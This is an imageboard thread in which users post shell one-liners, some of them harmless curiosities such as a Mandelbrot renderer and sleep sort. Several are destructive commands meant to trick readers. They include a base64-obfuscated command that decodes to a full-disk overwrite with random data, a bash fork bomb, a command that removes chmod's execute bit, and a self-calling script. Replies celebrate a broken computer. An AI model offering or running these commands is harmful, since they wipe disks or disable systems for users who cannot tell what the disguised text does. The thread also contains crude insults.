/uss/

ITT: rm -rf / in many forms

ANIME="$(mktemp).png"
ANIME_WIDTH="250"

curl -sfL "http://1339.cf/grill.php" -o "$ANIME"
mogrify -resize "$ANIME_WIDTH" "$ANIME"
notify-send -i "$ANIME" -a "1339.cf" "頑張れ!"

>>52222490

$(echo ZGQgaWY9L2Rldi91cmFuZG9tIG9mPS9kZXYvc2RhCg== | base64 -d)

this thread will just be full of shit like this >>52222846 that no one will actually run

 :(){ :|: & };: 

>>52222490

sudo chmod -x /usr/bin/chmod

>>52223087
I laughed a lot at this. How would you actually recover from this, other than mounting the hard drive to a different computer?

>>52223098
download another chmod binary

>>52223098
cool thread on it here http://unix.stackexchange.com/questions/83862/how-to-chmod-without-usr-bin-chmod/

>>52223098
Overwrite some other executable file with /usr/bin/chmod.

>>52223098

/lib/ld-linux.so /bin/chmod +x /bin/chmod

>>52222846
Not cool man

>/uss/
The reddit is strong here

>>52222222

>>52222846
MY COMPUTER DOESN'T WORK NOW, THANKS le epik troll xD

for((P=10**8,Q=P/100,X=320*Q/(`tput cols`-1),Y=210*Q/`tput lines`,y=-105*Q,v=-2\
20*Q,x=v;y<105*Q;x=v,y+=Y));do for((;x<P;a=b=i=k=c=0,x+=X));do for((;a*a+b*b<2*\
P*P&&i++<99;a=((c=a)*a-b*b)/P+x,b=2*c*b/P+y));do :;done;(((j=(i<99?i%16:0)+30)>\
37?k=1,j-=8:0));echo -ne "\E[$k;$j"mE;done;echo -e "\E[0m";done 

mandelbrot set

#!/usr/bin/env python
import os
os.system("thisscript.py")

>>52222490
That's nice, but only insults on intelligence makes sense. Calling me fat when my shell script fails? meh...

>>52223207
nice

>>52224820
nice one anon

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>>52224797
neat.png

>>52222969
Now make it RM -rf

>>52223087
I did this a long time ago

Behold! Sleep sort.

#!/bin/bash
function f() {
sleep "$1"
echo "$1"
}
while [ -n "$1" ]
do
    f "$1" &
    shift
done
wait

example usage:
./sleepsort.bash 5 3 6 3 6 3 1 4 7

>>52227771
>post the greatest useless script ever made
>no one appreciates it

spurdo() {
printf "$*\n" | sed "s/kek/#geg#/gI;s/epic/#ebin#/gI;s/america/#clapistan#/gI;s/right/#ri#te#/gI;s/your/#ur#/gI;s/\./# :DD#/gI;s/'//gI;s/,/#XDD#/gI;s/wh/#w#/gI;s/th/#d#/gI;s/af/#ab#/gI;s/ap/#ab#/gI;s/ca/#ga#/gI;s/ck/#gg#/gI;s/co/#go#/gI;s/ev/#eb#/gI;s/ex/#egz#/gI;s/et/#ed#/gI;s/iv/#ib#/gI;s/it/#id#/gI;s/ke/#ge#/gI;s/nt/#nd#/gI;s/op/#ob#/gI;s/ot/#od#/gI;s/po/#bo#/gI;s/pe/#be#/gI;s/pi/#bi#/gI;s/up/#ub#/gI;s/va/#ba#/gI;s/ck/#gg#/gI;s/cr/#gr#/gI;s/kn/#gn#/gI;s/lt/#ld#/gI;s/mm/#m#/gI;s/nt/#dn#/gI;s/pr/#br#/gI;s/ts/#dz#/gI;s/tr/#dr#/gI;s/bs/#bz#/gI;s/ds/#dz#/gI;s/es/#es#/gI;s/fs/#fz#/gI;s/gs/#gz#/gI;s/ is/#iz#/gI;s/as/#az#/gI;s/ls/#lz#/gI;s/ms/#mz#/gI;s/ns/#nz#/gI;s/rs/#rz#/gI;s/ss/#sz#/gI;s/ts/#tz#/gI;s/us/#uz#/gI;s/ws/#wz#/gI;s/ys/#yz#/gI;s/alk/#olk#/gI;s/ing/#ign#/gI;s/ic/#ig#/gI;s/ng/#nk#/gI" | tr -d \#
}

Usage: spurdo $(fortune)

>>52227771
What does it do?

telnet towel.blinkenlights.nl

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>>52228599
It sorts the numbers given to it

>>52228617
that's not useless, that's a piece of art

clear; while :; do sleep .001; tput cup $[RANDOM%$(tput lines)] $[RANDOM%$(tput cols)]; tput setaf $[RANDOM%8]; printf "%s" $[RANDOM%2]; done

>>52228587
Ebin :DDDDD

>>52228587

zsh: fortune: command not found...
Install package 'fortune-mod' to provide command 'fortune'? [N/y] y

Proceed with changes? [N/y] y

Failed to install packages: Failed to obtain authentication.
zsh: command not found: fortune
* Waidign in queue :DD :DD :DD de followign paggages have to be inztalled: regode-3 :DD6-40 :DDfc22 :DDx86_64 gonverzion bedween character seds and surfaces * Waidign in queue :DD :DD :DD * Waidign for audendigation :DD :DD :DD

>>52229131
le hipster zsh

type bash first, idiot

>>52229165
Thats not the point of my post, retard

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